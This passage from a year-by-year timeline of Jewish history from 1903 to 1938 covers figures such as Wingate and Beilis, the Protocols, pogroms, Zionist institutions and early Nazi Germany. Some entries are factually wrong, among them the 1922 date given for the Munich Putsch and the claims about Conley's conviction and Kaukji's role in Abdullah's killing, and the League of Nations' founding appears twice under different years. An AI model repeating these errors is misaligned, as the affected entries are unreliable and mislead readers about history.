Eretz Israel. The child's real murderer was later found. 4796 1903 ORDE CHARLES WINGATE, (Hayedid "The Friend") An officer in the British army was posted to Eretz Israel after the beginning of the 1936 riots as a captain in British intelligence. He quickly became enamored with the Zionist cause and often chided the "establishment" for not being militant enough. He worked with the Haganah, to train Special Night Squads (S.N.S.), a guerrilla unit he formed, that would specialize in counter terror attacks. Wingate earned the ire of the British after testifying before the Woodhead Commission. In 1939, he was transferred to Ethiopia and then India, probably due to his outspoken pro-Zionist beliefs. He died in March 1944 in a plane crash. The Wingate Institute and Yemin Orde (a children's village) are named after him. 6318 1903 PROTOCOLS OF THE ELDERS OF ZION (Russia) An abbreviated version of the Protocols of the Elders of Zion appeared in the Russian language paper Znamia (The Banner). The full version appeared two years later. 4799 1904 HEHALUTZ (HeChalutz) (Pioneer movement) A loosely formed movement that received its initial push from Menahem Ussishkin who called on Jewish youth to come settle in Eretz Israel. The movement developed at different times in different countries and included various Zionist youth movements. Joseph Trumpeldor joined the Russian movement in 1918. A year later "The 105" group (named for the 105 members) arrived from Poland. By the beginning of World War II they had a combined membership of around 100,000 people. 4805 1904 HERZL MEETS POPE PIUS X And tried to convince him to support the vision of Zionism without any success. The pope totally rejected the idea that Jerusalem will be in Jewish hands . 5658 1904 ISAAC BASHEVIS SINGER ( Poland-USA) Yiddish novelist and journalist brother of I.J. Singer. Upon his immigration to the USA in 1935 he became a writer for the Forward. His first serial, The Family Moskat, gave him recognition as a respected writer. His other novels include The Magician of Lublin and The Slave. His Gimple the Fool and Other Stories and The Spinoza of Market Street showed his ability to write short stories as well. Singer won the Nobel Prize for Literature in 1978, the first prize ever awarded for Yiddish Literature. 4807 1904 RUSSO-JAPANESE WAR The Russian government accused the Jews of helping the Japanese and starting the war to help their "Kinsmen by race". Thirty thousand Jewish soldiers and 3000 Jewish doctors fought for the Russians. Two "orders of the day" recognized Jewish heroism; One on November 29 honoring Joseph Trumpeldor the other on July 25 1905 honoring Lazar Lichmaker both of whom coincidently fought without an arm 5459 1904 VYACHESLAV VON PLEHVE (Russia) The Russian Minister of Interior, was assassinated. Von Plehve was responsible for the Kishinev massacres in which forty-seven Jews were killed, ninety-two severely wounded or crippled, and five hundred slightly wounded. His assassin was a member of the socialist revolutionary movement which had also suffered because of his policies. Czar Nicholas was frightened into making a few concessions. Unfortunately, he did not make enough to meet public demand. 4804 1905 BLACKEST WEEK IN RUSSIAN JEWISH HISTORY The Black Hundreds and other bands alleged that the Jews were responsible for their defeats in the Russian Japanese war and other Russian ills. In Odessa, the commander of the cadet school General Deryugin told his soldiers "Your on your way to massacre the Jews, You have my blessing for your work." In spite of many attempts at self defense, hundreds were killed, and thousands were wounded in more then fifty areas throughout Russia. In over 50 major pogroms over 40,000 homes and shops were destroyed, giving new impetus to immigration to both the West and Eretz Israel, with over 200,000 Jews leaving in one year. 4811 1905 ENZO SERENI Italian Zionist Pioneer who helped found Kibbutz Givat Brenner. During World War II he joined the British Army. He was instrumental in organizing parachute drops from the Yishuv to behind German lines. Sereni insisted that he be allowed to participate in those drops as well. He was dropped in the wrong area, captured by the Germans, and shot at Dachau. Kibbutz Netzer Sereni was named after him. 4819 1905 LEO BAECK Published Essence of Judaism. In it Baeck, stressed the ethical and spiritual aspects of Judaism. (see 1873) 4816 1905 MAXIM GORKY (1868-1936) (Russia) A Christian author and one of the founders of Soviet literature, he wrote letters of protest against the Black Hundreds in particular and anti-Semitism in general. Leo Tolstoy, one of Russia's greatest writers, joined him in defending the Jews. 4817 1905 SERGI NILUS
  493. Published the Protocols of the Elders of Zion in his book Velikoe e Malom (The Great in the Small). The protocols deal with an alleged "secret" plot by the wise Jews to enslave the Christian world. In reality (as revealed by the London Times in 1921), the book was a plagiarized version of a lampoon on Napoleon by Maurice Jely published in 1864. Despite this, the book has been reprinted in almost every language. In Germany it was treated as the Gospel and British troops carried it into Eretz Israel in 1947. It was circulated in Poland (1966) and an Arab version appeared in 1967. 4818 1906 AMERICAN JEWISH COMMITTEE Was formed. It was headed by Judge Mayer Sulzberger, a leader in the fight for liberal immigration laws. Its aims included the protection of civil and religious rights of Jews all over the world. Among its founders were Dr. Cyrus Adler, Louis Marshall and Jacob H. Schiff. 4823 1906 CLIFFORD ODETS (USA) Playwright of the Depression. He used the theater to vent his protest against social conditions. His plays included Waiting for Lefty, Awake and Sing (a compassionate depiction of American Jewry), and Golden Boy. 4831 1906 DREYFUS WAS ACQUITTED (France) On all counts by the Court of Appeals. After refusing compensation, he was promoted to Major. Dreyfus competently commanded an ammunition column in World War I. He died in 1935. 4827 1906 RUSSIA Founding of the Jewish Socialists Workers Party (a break off from Poale Zion) known as the Sejmists. It based itself on the ideology of Chaim Zhitlowsky and was comprised of liberal socialists and constitutionalists. The Sejmists were far less radical than the Bund in regard to Marxist philosophy. They believed in Jewish Autonomy in the Diaspora and considered themselves part of the international socialist movement. In 1909 it reunited with Poale Zion. 4824 1907 BAR GIORA (Eretz Israel) A Palestinian Jewish self-defense organization was formed to protect the settlements in Sejera (the lower Galilee area) from raiders. Two years later it was reorganized and broadened into HaShomer (the Watchman) by Israel Shochat. HaShomer was eventually transformed into the Haganah. Despite opposition from local Jews and the Baron's overseers, they persevered with the idea of Jews taking responsibility for their own defense. 4833 1907 DROPSIE COLLEGE FOR HEBREW AND COGNITIVE LEARNING (USA) Was established in Philadelphia. Dr. Cyrus Adler was appointed its first president. 4832 1907 STOLYPIN (Russia) The new Minister of Interior, he convinced the Czar to establish a second Duma which had far less power. Soon afterwards Stolypin strengthened the anti-Semitic Union of the Russian People and the Black Hundreds. 4838 1908 PALESTINE LAND DEVELOPMENT AUTHORITY Was established. Later known as the Israel Land Development Authority (ILDC), the authority was in charge of purchasing and cultivating land for the Jewish National Fund and for private individuals. Its first Chairman was Otto Warburg and its first director Arthur Ruppin. The company was instrumental in establishing settlements such as Nahalal, Tel Yosef, Ein Harod, and the first kibbutz, Degania. Many of its purchases were in the Sharon Plain, and the Hula valley. They also played a major role in developing Tel Aviv and the Hadar Carmel section of Haifa. 5548 1909 HASHOMER (Eretz Israel) The Association of Jewish watchmen was founded in order to protect Jewish settlements. Many of its members were recent arrivals from Russia who had organized self-defense organizations in Russia during the pogroms five years earlier. Its founders included Itzhak ben Zvi, Israel Giladi, Israel Shochat and Alexander Zeid. The Shomerim were excellent horsemen. spoke Arabic and wore a combination of Arab and Circassian garb. Within a few years they took over the defense of all Jewish villages. HaShomer was active until 1920 when it was absorbed into the Haganah. 4843 1909 BENNY (BENJAMIN DAVID) GOODMAN (USA) Clarinetist and band leader. Goodman grew up in the Chicago ghetto, one of twelve children of an immigrant tailor who had fled anti-Semitism in Russia. He took his first lessons on the clarinet in his local synagogue. Goodman's band took off on August 23, 1935 when he played compositions arranged by Fletcher Henderson giving birth to a new style of jazz music - "swing." Goodman became known as the "King of Swing" and was the first to include black and white musicians in the same band. Goodman was one of the most recorded artists in history playing both jazz and classical music. 5562 1909 DEGANIA (Eretz Israel) The first kibbutz or collective colony was founded in Eretz Israel. Aaron David Gordon (1856-1922), one of its founders, was considered to be the "Apostle" of the kibbutz movement. Each colony was independent and democratically governed. Membership was voluntary and all earnings and expenses were shared. 4845 1909 TEL AVIV (Eretz Israel) The first modern Jewish city, it was founded on the sand dunes north of Jaffa with the building of 60 houses. The actual name "Tel Aviv" was given only the next year (Hill of Spring) and was taken from a Babylonian city (Ezekiel 3:15) and used by Nahum Sokolow as the title for his translation of Herzl's book Altneuland. 4844 1911 BEILIS TRIAL (Russia) Took place after a Christian boy was found dead near a brick factory in which Mendel Beilis worked. He was accused of ritual murder by the government. The only evidence was the word of a drunken couple who claimed they saw a man with a black beard walking with the child. The Russian government actively took up the case after the assassination of Stolypin by a Jewish revolutionist. Professor Sikowsky, a neurologist, "proved" that Jews use Christian blood for ritual purposes. Beilis's lawyers, Margolin and Grusenberg, fought the government for two years until diplomatic pressure forced the Russians to drop the charges. Beilis then settled in the United States, where he died after a long illness in 1934. 4853 1912 HADASSAH (New York, USA) The Women's Zionist Organization of America was founded by Henrietta Szold. The name Hadassah is another name for Esther and was chosen since the meeting was held close to the Purim holiday. Their main goals included promoting Zionist ideals in the United States and improving health conditions in Eretz Israel. 4856 1912 Technikum (Technion) (Haifa, Eretz Israel) Was founded with the help of Paul Nathan of the Hilfsverein der Deutschen Juden ("Relief Organization of German Jews") and Jacob Schiff. The Technikum Institute of Technology, later to be known as the Technion,was struck the following year (see 1913), by both teachers and students when they tried to institute German as the school's language instead of Hebrew. Due to both the strike and the approaching war the school did not actually begin classes until 1924. 4857 1913 ANTI-DEFAMATION LEAGUE (USA) Of the B'nai B'rith was formed in Chicago. It soon became one of the leading organizations for protecting Jewish rights in the United States. 4865 1913 TECHNION - ISRAEL INSTITUTE OF TECHNOLOGY ( Haifa, Eretz Israel) The "Battle of the Languages" was fought as the opening of the Technion, also then known as the Technikum, approached. Although the majority of the governing board voted for German, mass protests were held with major figures, including Ben Yehuda, threatening a boycott if Hebrew wasn't used as the language of instruction. This battle also gave impetus for the establishment of Hebrew as the official language of Eretz Israel in all spheres. 4869 1913 UNITED SYNAGOGUE OF AMERICA (USA) Solomon Schechter, president of the Jewish Theological Seminary, founded the United Synagogue of America, the association of Conservative synagogues in the United States and Canada. In 1957 it organized the World Council of Synagogues with membership in 22 countries. 4862 1914 AMERICAN JEWISH RELIEF COMMITTEE (USA) Was established by Jacob H. Schiff, Louis Marshall, and Felix Warburg. It soon combined (November 27) with the Central Relief Committee founded by Orthodox leaders and the People's Relief Committee representing labor into one organization - the American Joint Distribution Committee. It campaigned and distributed funds wherever Jews were in need, especially in Eastern Europe. It is popularly known as the "Joint" or "JDC." During the First World War they spent almost $15,000,000 on relief efforts. 4873 1915 ERETZ ISRAEL The majority of the Palestine Refugees' Committee, under the encouragement of Joseph Trumpeldor and Vladimir Jabotinsky, endorsed a resolution calling for the formation of a "Jewish Legion", and proposed to England its utilization in Palestine. Within a few days about 500 enlisted. 4881 1915 LEO FRANK (USA) A southern Jew falsely accused of murdering 14-year-old Mary Phagen was taken out of prison and hung by a lynch mob. A few months earlier, his death sentence had been commuted to life in prison by Governor John Slaton, who believed that Frank had not had a fair trial. In 1925, Jim Conlay, a negro who had been his accuser in court, was found guilty of her murder and of perjury.(see 1913) 4886 1915 MOSHE DAYAN (Eretz Israel) Was born in Kibbutz Degania. As a teenager he joined the Haganah. He lost an eye in an attack on Lebanon with an Australian Division. He rose in the ranks of the Israeli army, becoming Minister of Defense in 1967. He resigned after the Yom Kippur War because he was criticized for Israel's lack of preparedness. In 1977 he joined the Begin government. 4890 1917 GENERAL ALLENBY ENTERED JERUSALEM (Eretz Israel) General Allenby, head of the Egyptian Expeditionary Force (of the British army) entered Jerusalem, forcing the Turks to retreat. Allenby, while "understanding" the aspirations of Zionism, had strong reservations regarding the British policy of establishing a Jewish national homeland. 4911 1917 NICHOLAS II ABDICATED The next day the Pale of Settlement was abolished. 4900 1917 RUSSIAN REVOLUTION Broke out in Petrograd. After three years of ruinous war the old regime collapsed. By March, a provisional government under Alexander Kerensky was set up. During the ensuing revolution the Jews were caught in the middle. Much of the conflict centered around the south and west, where over 3 million Jews lived. It is estimated that over 2000 pogroms took place, especially in the Ukraine, leading to the death of 100,000-200,000 Jews within the next 3 years. 4899 1918 ABBA KOVNER (Lithuania-Eretz Israel) Resistance leader and poet. Kovner organized the United Partisan Movement in 1941, maintaining that Jews should not "go like sheep to the slaughter". He fought as a partisan leader until the end of the war. After liberation he was instrumental in establishing Beriha, which smuggled survivors to Eretz Israel and carried out revenge operations against Nazis and their collaborators. In Israel he joined a kibbutz and became a well known poet. He won the Israel prize for literature in 1970. Kovner helped establish the Diaspora Museum in Tel Aviv and the Moreshet Holocaust Institute. 4927 1918 CHAIM WEIZMANN Arrived in Eretz Israel to assist the British Mandate. Weizmann headed the Zionist commission (Vaad HaTzirim) that was mandated by the British Government to be the liaison between the Military administration and the Yishuv. It was also empowered to coordinate relief efforts and make recommendations regarding the future development of the country 4916 1918 LEAGUE OF NATIONS Was established in an effort to prevent further wars. The League of Nations was instrumental in giving international backing for the "British Mandate" in Palestine and the Balfour Declaration. After the 29 Arab riots in 1929, the League criticized the British government for not doing enough to prevent or suppress the Arabs, and called into question the effectiveness of the Mandate. 4921 1918 LEONARD BERNSTEIN (USA) Composer and conductor. Bernstein was the first American-born musician to conduct the New York Philharmonic. Although he composed a number of symphonies (many with Jewish themes), he is most remembered for the musical, West Side Story. Bernstein was also a gifted teacher and created "Leonard Bernstein's Young People's Concerts" which were broadcast on television to rave reviews and popularity. 5577 1919 GENERAL DENIKIN (Russia) Commander of the White Russian Army and supported by the United States, he attempted to overthrow the Bolsheviks. He temporarily succeeded in stopping both Petlura and the Bolsheviks. Like Petlura, he identified the Jews with communism and proceeded to carry out his own pogroms, allowing his troops to perpetrate over 213 pogroms, and killing upwards of five thousand Jews. 4940 1919 HUGO PREUSS (d. 1925) (Germany) Professor of law and leader of the Berlin Jewish community, he became Minister of the Interior and drafted the Weimar Constitution. 4949 1919 HUNGARY Bela Kun (Kuhn), a communist dictator, was disposed of after a short period of time with the help of Rumania and Admiral Nicholas Horthy. Since Kun was a Jew, all the Jews were accused of being communists. During the riots that followed, known as the "White Terror", well over three thousand Jews were killed. 4929 1919 MORDECHAI ANIELEWICZ (Poland) Commander of the Warsaw Ghetto uprising. In 1941, with the beginning of the "Final Solution", he called for the establishment of an armed Jewish underground. He tried unsuccessfully to unite all the various factions in the anti-Fascist block, but was more successful in building the Jewish Fighting Organization in Warsaw. Anielewicz published a newsletter (Against the Stream) and even started an urban kibbutz. On May 8, 1943, during the final revolt and after almost 3 weeks of fighting, he was killed in the main bunker at 18 Mila street. 4952 1919 PARIS PEACE CONFERENCE (France) Was convened. The American Jewish Congress was represented by Louis Marshall (President of the American Jewish Committee), Rabbi Stephen Wise and Judge Julian Mack, President of the Congress. In France they joined with other world Jewish organizations to form the Comite des Delegation Juives with Julian Mack and then Louis Marshal as chairmen. Dr. Leo Motzkin, Zionist and publicist, was appointed secretary. They succeeded in passing a plan ensuring the right for minorities to establish their own schools and speak their own languages, while retaining full citizenship. 4931 1919 RUSSIA The Jewish Commissariat Yevsektsiya proclaims Hebrew a "reactionary language". As such, the teaching of Hebrew was prohibited in all educational institutions and books in Hebrew were removed from libraries. 4939 1920 HAGANAH (Eretz Israel) Self-Defense Force was formed during a meeting of the Ahdut Avodah party. It was designed to take the place of the Ha-Shomer Ha-Tzair movement, and was dedicated to havlagah, or self-defense. The original idea had been proposed by Israel Shochat eight years earlier. With the onset of the British Mandate the Zionist leaders had thought there would not be a need for a self-defense organization. The Arab attacks earlier that year proved them wrong. Eliyahu Golomb was its first commander. 4967 1920 HISTADRUT HAOVDIM (General Labor Federation) (Eretz Israel) Was founded in Eretz Israel. Its founder, Berl Katznelson, was a disciple of Borochov. He combined various labor groups to form a federation. In reality the federation became one major union which was divided into trade sections. The Histadrut had its own workers' bank, Bank Hapoalim, as well as an Agricultural Audit Union, and a wholesale purchasing organization, Hamashbir Hamerkazi. Tnuva was its agricultural marketing cooperative, Hamashbir Hamerkazi, its wholesale consumer cooperative and department store, and Solel Boneh its contracting organization. It even had its own insurance company, Hassneh, and sick fund. The Histadrut was forced to make major reforms and cutbacks in the 1990's because of the changed economic climate and economy of the state of Israel. 4971 1920 GERMANY The International Jew, an anti-Semitic book, was translated into German and ran through sixteen editions. It was subsidized by Henry Ford. 4976 1920 HENRY FORD (USA) Ford's newspaper, Dearborn Independent, with a circulation of seven hundred thousand, "discussed" the Jewish problem. 4965 1920 JERUSALEM (Eretz Israel) Anti-Jewish riots. Five Jews were killed and two hundred and eleven wounded. Vladimir Jabotinsky and others were arrested for organizing a self-defense league. 4963 1920 KEREN HAYESOD (Eretz Israel Foundation Fund) (England-Eretz Israel) Was created in London at the London Zionist Conference for education, absorption and the development of rural settlements in Eretz Israel. Chaim Weizmann was elected president of the World Zionist Organization. 4970 1920 LEAGUE OF NATIONS Was established in an effort to promote cooperation between countries and hopefully prevent further wars. The League of Nations lasted until 1946, although it had little power during its last ten years. The league also dealt with issues regarding anti-Semitism in Germany, the use of the numerus clauses in Hungarian Universities, and the expulsion of Jewish refugees in Austria. On July 24, 1922, the council confirmed the Balfour Declaration and the British Mandate for Palestine. 4955 1920 SHABELSKY-BORK (Germany) A supporter of the "Protocols", he tried to assassinate Pavel Milyukov (former leader of the Cadets, who fled Russia in 1918) at a meeting of Russian refugees. Instead, he killed Vladimir Nabokov and was sentenced to fourteen years in prison. After serving for a short time, he was released and befriended by Alfred Rosenberg, the "Nazi philosopher". 4962 1920 THE SUPREME COUNCIL OF THE PEACE CONFERENCE AT SAN REMO (Italy) Assigned the British government the Mandate over Palestine, directing her to establish a national home for the Jewish people as presented in the Balfour Declaration. As part of their mandate the British were instructed to recognize "the historical connection of the Jewish people with Palestine and to the grounds for reconstituting their national home in that country." In addition, Britain was to "facilitate Jewish immigration" and "close settlement by Jews on the land." The civil administration was established on July 1, 1920 with Sir Herbert Samuel as the first high commissioner. 4964 1920 WIZO (Women's International Zionist Organization) Was founded in London. Rebecca Sieff was nominated as the first president of WIZO. Its activities include professional and vocational training for women, education of children and youth, shelters for battered women, as well as help for new immigrants. WIZO is recognized by the UN as a Non-Governmental Organization (NGO) It is also a member of the World Zionist Organization and of the World Jewish Congress. 4969 1921 ERETZ ISRAEL Rabbi Abraham Isaac Kook and Rabbi Ya'akov Meir were elected the first two chief rabbis. (The Sephardic chief rabbi retained the title of Rishon le-Zion.) 4978 1921 JAFFA (Eretz Israel) Arabs rioted, killing forty Jews and wounding two hundred others. The riots soon spread to Tel Aviv, Petah Tikva, Kfar Saba, Hadera, and Rehovot. Though casualties were "relatively" light, the British decided to immediately suspend Jewish immigration and appease the Arabs by "redefining" the borders of the Balfour Declaration. 4980 1921 ROBERT LAMBELIN (France) Translated the "Protocols" directly from the Russian. It ran through sixteen editions in one year. 4985 1922 BNEI AKIVA (Eretz Israel) The "Sons of Akiva", the youth movement of Ha-Po'el ha-Mizrachi, was founded. The basis for the movement was the idea of Torah va-Avodah ("Torah and Labor"), religion and pioneering. The spiritual leader of the movement was Chief Rabbi Abraham Isaac Kook. One of its goals was to train its members in agriculture and crafts leading Bnei Akiva to form its own kibbutzim within the structure of Kibbutz Hadati, the religious kibbutz movement. 4990 1922 CHURCHILL WHITE PAPER Was accepted (with reservations) by the Zionist executive. Six white papers regarding the British Mandate were issued between 1922 and 1939. Each of these policy position papers took its name from the person responsible for its issue. In this one Churchill, the colonial secretary, reaffirmed the Balfour Declaration but stipulated the idea that "Palestine" as a whole would not be "converted into a Jewish National Home." Furthermore, all Jewish immigration should not exceed the "economic capacity of the country." The Palestine Arab congress totally rejected the paper. 4991 1922 MUNICH PUTSCH (Germany) General Ludendorff and an Austrian corporal named Adolph Hitler (1889-1945) were arrested after a short parade proclaiming the overthrow of the government. Hitler was sent to Landsburg prison where he wrote Mein Kampf (My Battle), a vicious harangue against democracy, communism, the Versaille diktat and, of course, the Jews as the root of all evil. The book became the "Bible" of the Nazis, and was published in almost every major country. Hitler himself soon rose (1925) to become leader of the Nazi Party and chancellor of the German Reich in 1933. Hitler's compulsive hatred of everything Jewish, coupled with his pathological personality, led him to become the first person in history to systematically conceive and implement the extermination of European Jewry. 4999 1922 THE LEAGUE OF NATIONS COUNCIL Confirmed the Palestine Mandate, citing the Balfour Declaration in the preamble and recognizing "the historical connection of the Jewish people with Palestine". 4993 1922 USA The United States Congress and President Harding approved the Balfour Declaration. 4995 1925 HEBREW UNIVERSITY (Eretz Israel) Was opened in Jerusalem by Lord Balfour on Mount Scopus. Its first Chancellor was Dr. Judah Magnes. The idea for the university had been proposed as far back as the Kattowitz Conference in 1884 by Herman Schapira. Chaim Weizmann served as chairman of the board. Its library became known as the Jewish National Library and is the largest in the country. After the attack on the Hadassah convoy in 1948, the university was forced to relocate to the Givat Ram campus in Western Jerusalem. After the Six Day War the Hebrew University built a modern campus which was re-established on Mount Scopus in addition to the Givat Ram campus. 5021 1925 NAHUM SHTIF ESTABLISHED YIVO (Yiddish Scientific Institute, Yidisher Visenshaftlikher Institut) As a Yiddish academic institute with its center in Vilna. Its goal was to promote scholarly research in Yiddish, especially on Jewish life and history in Eastern Europe. In addition, it standardized Yiddish spelling and gathered thousands of documents on Jewish culture and folklore from over much of Europe. 5023 1925 PARIS (France) The Revisionist Party (Brit Ha-Tzionim Ha-Revisionistim) was founded by Zev (Vladimir) Jabotinsky. Jabotinsky adhered to the Herzlian concept that Zionism is basically an ideological movement. He demanded a more aggressive policy toward the British, believing that only world-wide pressure would force the British to abide by the Mandate. The revisionists believed that the highest priority of the Zionist movement should be in bringing the greatest number of Jews to Eretz Israel in the shortest possible time. 5022 1926 JERRY LEWIS (Joseph Levitch) (USA) Comedian, actor, writer and director. Jerry Lewis made his debut at age five in New York's Borscht Circuit and at age 15, perfected a comic routine known as his "Record Act" - miming and silently mouthing lyrics of operatic and popular songs to a phonograph located off-stage. In 1946, Lewis formed a very successful partnership with Dean Martin which lasted 10 years. They made 16 films together sandwiched with nightclub, TV, and radio appearances. After the breakup, Lewis continued his successful acting career adding screenwriting and directing into his repertoire. Lewis' credits include the films Geisha Boy (1958), Bellboy (1960), The Nutty Professor (1963) and The King of Comedy (1983). He won the French Legion of Honor in 1984 and was nominated for the Nobel Peace Prize in 1977 for his tireless efforts in his fight against Muscular Dystrophy. 5755 1926 SHLOMO CARLEBACH (Germany-USA) Singer and composer. Reb Shlomo, as he was known, is considered "The Father of Modern Jewish Music". He successfully synthesized the American folk idiom with traditional and Hasidic music, creating a following in both the observant and non-observant Jewish communities around the world. During the 1960's he established the "House of Love and Prayer" in San Francisco, which served as a magnet for many non-committed Jews. It was the only Jewish presence in Haight-Ashbury, a gathering point for young seekers in the 1960's and 1970's. Reb Shlomo's activities in Israel and the USA helped spur the Baal Teshuvah movement which brought many Jews back to Jewish observance. 5029 1927 HENRY FORD (USA) The automobile magnet was forced to publicly apologize for libel against the Jews. Aaron Sapiro, a lawyer, had accused Ford and his Dearborn Independent of the libel. Although the case was a personal one, the newspaper's anti-Semitic propaganda figured heavily in the case. Ford was forced to retract some of his accusations and apologize. 5031 1928 THE MASSENA BLOOD LIBEL, (upstate New York, USA) On the eve of the Day of Atonement (Yom Kippur), Rabbi Berel Brennglass of Massena's Orthodox congregation Adath Israel was called to police headquarters at the suggestion of Mayor W. Gilbert Hawes, to answer charges on ritual murder after a four year old girl disappeared. Although she turned up the next day there remained a strong undercurrent of anti-Semitism in the town. 5034 1929 ERETZ ISRAEL Arabs began to riot throughout pre-state Israel after Moslem Friday prayers. The next day, the riots spread to Hebron where over 60 Jews were killed and over 50 injured. During the week of August 23-29, 113 Jews were killed and 339 wounded. As a result, Sir Walter Shaw headed a commission which urged the banning of Jewish immigration and absolved the Arabs and the Mufti of guilt. Another commission led by Sir John Simpson declared that the entire Zionist operation was unsound and undesirable. Both of these commissions were under the auspices of Lord Passfield, the British Colonial Secretary. 5038 1929 JEWISH AGENCY (Zurich, Switzerland) Was created at the 16th Zionist Congress, to include non-Zionists in the creation of the State. Among them were Louis Marshall, Leon Blum and Felix Warburg. 5036 1930 HOPE-SIMPSON REPORT (Eretz Israel) Sir John Hope-Simpson, sent by the British, looked into Arab economic complaints and decided that Palestine had no industrial prospects. He recommended the cessation of all Jewish immigration and a settlement freeze. His report was the basis for the infamous Passfield White Paper. 5043 1930 LORD PASSFIELD (Eretz Israel) Issued his "White Paper" banning further land acquisition by Jews and slowing Jewish immigration. Weizmann, who had always toed a pro-British line, resigned in protest. 5044 1933 HENRY MORGENTHAU JR. (USA) Was appointed chairman of the Agricultural Administration Committee by Roosevelt. He later served as Secretary of the Treasury. 5078 1933 CARDINAL PACELLI Issued a concordat known as the Hitler Concordat. It was described by Hitler as "unrestricted acceptance of National Socialism by the Vatican". Cardinal Pacelli later became Pope Pius XII. 5075 1933 GERMANY All "un-German" books were ordered to be burned in public. Over 20,000 mostly Jewish books were burned. 5069 1933 HAYIM ARLOSOROFF (Eretz Israel) A Zionist leader within the Zionist labor party, he was murdered on a beach outside Tel Aviv. The Labor leaders tried to pin the blame on Abba Ahimeir of the Revisionist Party and specifically on Abraham Stavsky and Zvi Rosenblatt. At the trial they were all acquitted but the government refused to reveal the details of what really happened. Ironically, Stavsky was killed aboard the Altalena, an Irgun ship fired upon by the Haganah while trying to bring arms into the country during the Arab-Israel cease-fire of June 1948. 5073 1933 HITLER (Germany) Needing support for his minority government, he called for elections. He terrorized all the opposition, including the communists whom he accused of setting a "mysterious" fire in the Reichstag. After the election, Hitler asked his new majority government to grant him dictatorial powers, which they did. 5059 1933 JACOB ROSENHEIM (Germany) President of Agudat Israel in Germany pleaded with Lord Melchett of Britain and British Chief Rabbi Hertz not to boycott German goods, calling it "a near crime against humanity". Agudat Israel was afraid that such actions would become provocations and goad Hitler to pursue a harsher policy against the Jews. 5498 1933 VILNA (Lithuania) At the initiative of the Jews of Vilna, an anti-Nazi boycott began. It eventually spread all over Poland and to many countries in Europe. Yet within 6 months Poland itself signed a non-aggression treaty with Hitler which called for the cessation of all boycott activities. 5061 1933 YOUTH ALIYAH (Berlin, Germany) The previous year Recha Freier, a rabbi's wife decided it would be a good idea to send young people from Germany to kibbutzim. She founded the Juedische Jugendhilfe (Jewish Youth Help) organization to help facilitate the work. That same year it became a department of the World Zionist Organization under Henrietta Szold, whose name is linked to the saving of over 15,000 young people from Germany and Nazi occupied countries. 5058 1934 MADISION SQUARE GARDEN (New York City, USA) Thousands attended a pro-Nazi rally sponsored by the German-American Bund and its leader Fritz Kuhn. The Bund, active from 1934-1941, claimed to be "100% American." Their proclaimed goal was to be for the "constitution, flag and a white gentile ruled, truly free America." 5088 1934 NIGHT OF THE LONG KNIVES (Germany) Hitler ordered the execution of some of the SA (Sturmabteilung or "Stormtroopers") leaders whose absolute loyalty he questioned, including Ernst Roehm. Until that night the SS (Schutzstaffelor "defense echelon") under Himmler was subordinate to the SA. After that night the SS became independent and was put in charge of the concentration camps. 5089 1935 HAKIBBUTZ HADATI (Eretz Israel) The religious kibbutz movement was founded. This kibbutz movement was affiliated with the HaPoel HaMizrachi movement and the religious Zionist Labor Organization. Its idea was to combine religious life and labor in communal agricultural settlements, the first being Tirat Tzvi. 5099 1935 NEW ZIONIST ORGANIZATION Was founded in Vienna by Ze'ev Jabotinsky. For many years there was tension between the World Zionist Organization and the Revisionist Party. Some of it was the result of tactical differences, including the expansion of the Jewish Agency to include non-Zionists. In addition, there was still strong resentment and political tensions in the aftermath of the Arlosoroff murder, which had initially been blamed on the Revisionists. The actual break came with a resolution to prohibit any independent political activity of Zionist organizations. Eleven years later they rejoined the World Zionist Organizaton. 5100 1936 ARAB HIGHER COMMITTEE (Eretz Israel) Was established under the guidance of the Jerusalem Mufti, Haj Amin al-Husseini. Husseini was already notorious for his pivotal role in encouraging the anti-Jewish riots of 1920 and 1929. Despite this, the British had tried to placate him and had appointed him the Mufti of Jerusalem (1921). In 1937 he was finally dismissed by the British, and the Arab Higher Committee was outlawed. Supported by the Axis powers, the Arab Higher Committee encouraged "Nationalistic" raids on Jewish settlements. The leader of these raids was Fawzi Kaukji, a former Iraqi officer who was responsible for the murder of King Abdullah of Jordan (1951). 5108 1936 DAVID FRANKFURTER A Jewish Yugoslav medical student, he killed the Swiss Nazi, Gauleiter Wilhelm Gustoff. Though the German government demanded the death penalty, he was sentenced to eighteen years instead. Some historians believe that his action served as a model for Herschel Grynszpan, whose assassination of ambassador Ernst vom Rath was used by the Nazi party as an excuse for an all-out attack on Jewish property and synagogues (Kristallnacht). 5105 1936 LEON BLUM (1872-1950) (France) Became the first Jew to be elected premier of France. Blum, a socialist, instituted the 40 hour work week and many important social reforms. His government, lasting only one year, fell over lack of parliamentary support for his financial program. 5109 1936 TOWER AND STOCKADE SETTLEMENTS (Homa U'Migdal (Eretz Israel) The first of the Tower and Stockade Settlements, Tel Amel, (modern day Kibbutz Nir David) was erected. These settlements were a Jewish response to the Arab attacks from 1936 to 1939. Built of prefabricated wood, on remote parcels of land purchased by the Jewish National Fund, they were set up overnight with the help of hundreds of volunteers. Eventually 118 of this type of settlement were erected throughout the Galilee, Beit Shean Valley and the Jordan Valley. 5116 1936 WORLD JEWISH CONGRESS Was convened in Geneva with 280 delegates from 32 countries. The World Jewish Congress' goal was to "assure the survival, and to foster the unity of the Jewish people". It was founded by Stephen Wise and Nahum Goldmann. Although they organized a boycott of German goods, they felt that a more direct approach would prompt the Nazis "to even harsher policies". 5112 1937 PEEL COMMISSION REPORT INVESTIGATING THE 1936 RIOTS Was published. The Peel Commission recommended the partition of Mandatory Palestine into two states. The Zionist Congress (see August 3), while rejecting the actual borders, agreed to consider the proposal. The Arabs rejected it out of hand. 5126 1938 EICHMANN ESTABLISHED THE CENTER FOR JEWISH EMIGRATION (Vienna, Austria) Eichmann (1906-1962) was so successful in forcing Jews to emigrate and confiscating their property that the Center later served as a model in Prague and in Berlin. Eichmann had joined the SS in 1933 and served in Dachau. His promotions were partly due to friendship with Ernest Kaltenbrunner who later commanded the Reich Security Head Office (R.S.H.A.) and partly due to his total association with Nazi ideals. Eichmann was compulsive about details and in preparation even learned some Yiddish and Hebrew. He eventually came to head Gestapo's Section IVB4. Eichmann's fanaticism in carrying out the "Final Solution" even came at the expense of the German war efforts. Eichmann was captured by Israeli agents in Argentina in May 1960 and put on trial in Jerusalem. A year later he was hung, his body cremated and his ashes strewn into the sea. 5148 1938 MASS ARRESTS (Germany) Reinhard Heydrich, head of the Gestapo, also known as the Secret Police, ordered the arrest of thousands of German Jews. Most were sent to Buchenwald which soon had to be enlarged. Others were sent to Dachau and Sachsenhausen. In Dachau the prisoners were told to make lots of yellow stars in preparation for a new influx of prisoners. 